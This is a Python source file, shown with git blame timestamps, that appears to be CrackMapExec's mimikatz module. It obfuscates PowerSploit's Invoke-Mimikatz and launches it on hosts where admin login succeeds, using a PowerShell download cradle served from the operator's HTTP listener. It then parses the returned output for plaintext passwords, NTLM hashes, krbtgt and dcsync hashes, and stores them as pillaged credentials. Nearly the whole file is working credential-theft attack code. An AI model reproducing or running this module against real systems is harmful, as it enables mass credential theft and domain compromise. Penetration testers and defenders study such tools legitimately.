2017-10-25 06:45:58 +00:00
|
|
|
from cme.helpers.powershell import obfs_ps_script, gen_ps_iex_cradle
|
2016-12-15 07:28:00 +00:00
|
|
|
from cme.helpers.misc import validate_ntlm
|
2017-10-25 04:56:34 +00:00
|
|
|
from cme.helpers.logger import write_log, highlight
|
2016-05-16 23:48:31 +00:00
|
|
|
from datetime import datetime
|
|
|
|
import re
|
|
|
|
|
2017-10-25 02:08:19 +00:00
|
|
|
|
2016-05-16 23:48:31 +00:00
|
|
|
class CMEModule:
|
|
|
|
'''
|
|
|
|
Executes PowerSploit's Invoke-Mimikatz.ps1 script
|
|
|
|
Module by @byt3bl33d3r
|
|
|
|
'''
|
|
|
|
|
2016-06-04 07:13:38 +00:00
|
|
|
name = 'mimikatz'
|
2017-03-27 21:09:36 +00:00
|
|
|
description = "Dumps all logon credentials from memory"
|
|
|
|
supported_protocols = ['smb', 'mssql']
|
2016-12-20 07:23:40 +00:00
|
|
|
opsec_safe = True
|
|
|
|
multiple_hosts = True
|
2016-09-12 06:52:50 +00:00
|
|
|
|
2016-05-16 23:48:31 +00:00
|
|
|
def options(self, context, module_options):
|
|
|
|
'''
|
2017-03-27 21:09:36 +00:00
|
|
|
COMMAND Mimikatz command to execute (default: 'sekurlsa::logonpasswords')
|
2016-05-16 23:48:31 +00:00
|
|
|
'''
|
2016-09-12 06:52:50 +00:00
|
|
|
self.command = 'privilege::debug sekurlsa::logonpasswords exit'
|
2016-05-16 23:48:31 +00:00
|
|
|
if module_options and 'COMMAND' in module_options:
|
2016-09-12 06:52:50 +00:00
|
|
|
self.command = module_options['COMMAND']
|
2016-05-16 23:48:31 +00:00
|
|
|
|
2017-03-27 21:09:36 +00:00
|
|
|
self.ps_script = obfs_ps_script('powersploit/Exfiltration/Invoke-Mimikatz.ps1')
|
2016-05-16 23:48:31 +00:00
|
|
|
|
2016-12-15 07:28:00 +00:00
|
|
|
def on_admin_login(self, context, connection):
|
|
|
|
command = "Invoke-Mimikatz -Command '{}'".format(self.command)
|
2017-04-03 15:25:05 +00:00
|
|
|
launcher = gen_ps_iex_cradle(context, 'Invoke-Mimikatz.ps1', command)
|
2016-12-15 07:28:00 +00:00
|
|
|
|
2017-10-25 06:45:58 +00:00
|
|
|
connection.ps_execute(launcher)
|
2016-09-12 06:52:50 +00:00
|
|
|
context.log.success('Executed launcher')
|
2016-05-16 23:48:31 +00:00
|
|
|
|
2016-12-15 07:28:00 +00:00
|
|
|
def on_request(self, context, request):
|
2016-05-16 23:48:31 +00:00
|
|
|
if 'Invoke-Mimikatz.ps1' == request.path[1:]:
|
|
|
|
request.send_response(200)
|
|
|
|
request.end_headers()
|
2020-01-18 12:20:10 +00:00
|
|
|
request.wfile.write(self.ps_script.encode())
|
2016-05-16 23:48:31 +00:00
|
|
|
|
|
|
|
else:
|
|
|
|
request.send_response(404)
|
|
|
|
request.end_headers()
|
|
|
|
|
|
|
|
def uniquify_tuples(self, tuples):
|
|
|
|
"""
|
|
|
|
uniquify mimikatz tuples based on the password
|
|
|
|
cred format- (credType, domain, username, password, hostname, sid)
|
2016-12-15 07:28:00 +00:00
|
|
|
|
2016-05-16 23:48:31 +00:00
|
|
|
Stolen from the Empire project.
|
|
|
|
"""
|
|
|
|
seen = set()
|
|
|
|
return [item for item in tuples if "{}{}{}{}".format(item[0],item[1],item[2],item[3]) not in seen and not seen.add("{}{}{}{}".format(item[0],item[1],item[2],item[3]))]
|
|
|
|
|
|
|
|
def parse_mimikatz(self, data):
|
|
|
|
"""
|
|
|
|
Parse the output from Invoke-Mimikatz to return credential sets.
|
|
|
|
|
|
|
|
This was directly stolen from the Empire project as well.
|
|
|
|
"""
|
|
|
|
|
|
|
|
# cred format:
|
|
|
|
# credType, domain, username, password, hostname, sid
|
|
|
|
creds = []
|
|
|
|
|
|
|
|
# regexes for "sekurlsa::logonpasswords" Mimikatz output
|
|
|
|
regexes = ["(?s)(?<=msv :).*?(?=tspkg :)", "(?s)(?<=tspkg :).*?(?=wdigest :)", "(?s)(?<=wdigest :).*?(?=kerberos :)", "(?s)(?<=kerberos :).*?(?=ssp :)", "(?s)(?<=ssp :).*?(?=credman :)", "(?s)(?<=credman :).*?(?=Authentication Id :)", "(?s)(?<=credman :).*?(?=mimikatz)"]
|
|
|
|
|
|
|
|
hostDomain = ""
|
|
|
|
domainSid = ""
|
|
|
|
hostName = ""
|
|
|
|
lines = data.split("\n")
|
|
|
|
for line in lines[0:2]:
|
|
|
|
if line.startswith("Hostname:"):
|
|
|
|
try:
|
|
|
|
domain = line.split(":")[1].strip()
|
|
|
|
temp = domain.split("/")[0].strip()
|
|
|
|
domainSid = domain.split("/")[1].strip()
|
|
|
|
|
|
|
|
hostName = temp.split(".")[0]
|
|
|
|
hostDomain = ".".join(temp.split(".")[1:])
|
|
|
|
except:
|
|
|
|
pass
|
|
|
|
|
|
|
|
for regex in regexes:
|
|
|
|
|
|
|
|
p = re.compile(regex)
|
|
|
|
|
|
|
|
for match in p.findall(data):
|
|
|
|
|
|
|
|
lines2 = match.split("\n")
|
|
|
|
username, domain, password = "", "", ""
|
2016-12-15 07:28:00 +00:00
|
|
|
|
2016-05-16 23:48:31 +00:00
|
|
|
for line in lines2:
|
|
|
|
try:
|
|
|
|
if "Username" in line:
|
|
|
|
username = line.split(":",1)[1].strip()
|
|
|
|
elif "Domain" in line:
|
|
|
|
domain = line.split(":",1)[1].strip()
|
|
|
|
elif "NTLM" in line or "Password" in line:
|
|
|
|
password = line.split(":",1)[1].strip()
|
|
|
|
except:
|
|
|
|
pass
|
|
|
|
|
|
|
|
if username != "" and password != "" and password != "(null)":
|
2016-12-15 07:28:00 +00:00
|
|
|
|
2016-05-16 23:48:31 +00:00
|
|
|
sid = ""
|
|
|
|
|
|
|
|
# substitute the FQDN in if it matches
|
|
|
|
if hostDomain.startswith(domain.lower()):
|
|
|
|
domain = hostDomain
|
|
|
|
sid = domainSid
|
|
|
|
|
|
|
|
if validate_ntlm(password):
|
|
|
|
credType = "hash"
|
|
|
|
|
|
|
|
else:
|
|
|
|
credType = "plaintext"
|
|
|
|
|
|
|
|
# ignore machine account plaintexts
|
|
|
|
if not (credType == "plaintext" and username.endswith("$")):
|
|
|
|
creds.append((credType, domain, username, password, hostName, sid))
|
|
|
|
|
|
|
|
if len(creds) == 0:
|
|
|
|
# check if we have lsadump output to check for krbtgt
|
|
|
|
# happens on domain controller hashdumps
|
2019-11-11 11:26:38 +00:00
|
|
|
for x in range(8,13):
|
2016-05-16 23:48:31 +00:00
|
|
|
if lines[x].startswith("Domain :"):
|
|
|
|
|
|
|
|
domain, sid, krbtgtHash = "", "", ""
|
|
|
|
|
|
|
|
try:
|
|
|
|
domainParts = lines[x].split(":")[1]
|
|
|
|
domain = domainParts.split("/")[0].strip()
|
|
|
|
sid = domainParts.split("/")[1].strip()
|
|
|
|
|
|
|
|
# substitute the FQDN in if it matches
|
|
|
|
if hostDomain.startswith(domain.lower()):
|
|
|
|
domain = hostDomain
|
|
|
|
sid = domainSid
|
|
|
|
|
2019-11-11 11:26:38 +00:00
|
|
|
for x in range(0, len(lines)):
|
2016-05-16 23:48:31 +00:00
|
|
|
if lines[x].startswith("User : krbtgt"):
|
|
|
|
krbtgtHash = lines[x+2].split(":")[1].strip()
|
|
|
|
break
|
|
|
|
|
|
|
|
if krbtgtHash != "":
|
|
|
|
creds.append(("hash", domain, "krbtgt", krbtgtHash, hostName, sid))
|
|
|
|
except Exception as e:
|
|
|
|
pass
|
|
|
|
|
|
|
|
if len(creds) == 0:
|
|
|
|
# check if we get lsadump::dcsync output
|
|
|
|
if '** SAM ACCOUNT **' in lines:
|
|
|
|
domain, user, userHash, dcName, sid = "", "", "", "", ""
|
|
|
|
for line in lines:
|
|
|
|
try:
|
|
|
|
if line.strip().endswith("will be the domain"):
|
|
|
|
domain = line.split("'")[1]
|
|
|
|
elif line.strip().endswith("will be the DC server"):
|
|
|
|
dcName = line.split("'")[1].split(".")[0]
|
|
|
|
elif line.strip().startswith("SAM Username"):
|
|
|
|
user = line.split(":")[1].strip()
|
|
|
|
elif line.strip().startswith("Object Security ID"):
|
|
|
|
parts = line.split(":")[1].strip().split("-")
|
|
|
|
sid = "-".join(parts[0:-1])
|
|
|
|
elif line.strip().startswith("Hash NTLM:"):
|
|
|
|
userHash = line.split(":")[1].strip()
|
|
|
|
except:
|
|
|
|
pass
|
|
|
|
|
|
|
|
if domain != "" and userHash != "":
|
|
|
|
creds.append(("hash", domain, user, userHash, dcName, sid))
|
|
|
|
|
|
|
|
return self.uniquify_tuples(creds)
|
|
|
|
|
|
|
|
def on_response(self, context, response):
|
|
|
|
response.send_response(200)
|
|
|
|
response.end_headers()
|
2020-03-09 09:26:48 +00:00
|
|
|
length = int(response.headers.get('content-length'))
|
2020-04-20 10:24:56 +00:00
|
|
|
data = response.rfile.read(length).decode()
|
2016-05-16 23:48:31 +00:00
|
|
|
|
2017-10-25 04:56:34 +00:00
|
|
|
# We've received the response, stop tracking this host
|
2016-05-16 23:48:31 +00:00
|
|
|
response.stop_tracking_host()
|
|
|
|
|
|
|
|
if len(data):
|
2017-03-27 21:09:36 +00:00
|
|
|
if self.command.find('sekurlsa::logonpasswords') != -1:
|
|
|
|
creds = self.parse_mimikatz(data)
|
|
|
|
if len(creds):
|
|
|
|
for cred_set in creds:
|
|
|
|
credtype, domain, username, password,_,_ = cred_set
|
2017-10-25 04:56:34 +00:00
|
|
|
# Get the hostid from the DB
|
2017-03-27 21:09:36 +00:00
|
|
|
hostid = context.db.get_computers(response.client_address[0])[0][0]
|
2017-10-25 04:56:34 +00:00
|
|
|
context.db.add_credential(credtype, domain, username, password, pillaged_from=hostid)
|
2017-03-27 21:09:36 +00:00
|
|
|
context.log.highlight('{}\\{}:{}'.format(domain, username, password))
|
|
|
|
|
|
|
|
context.log.success("Added {} credential(s) to the database".format(highlight(len(creds))))
|
|
|
|
else:
|
|
|
|
context.log.highlight(data)
|
2016-05-16 23:48:31 +00:00
|
|
|
|
|
|
|
log_name = 'Mimikatz-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
|
2016-06-04 07:13:38 +00:00
|
|
|
write_log(data, log_name)
|
2016-12-15 07:28:00 +00:00
|
|
|
context.log.info("Saved raw Mimikatz output to {}".format(log_name))
|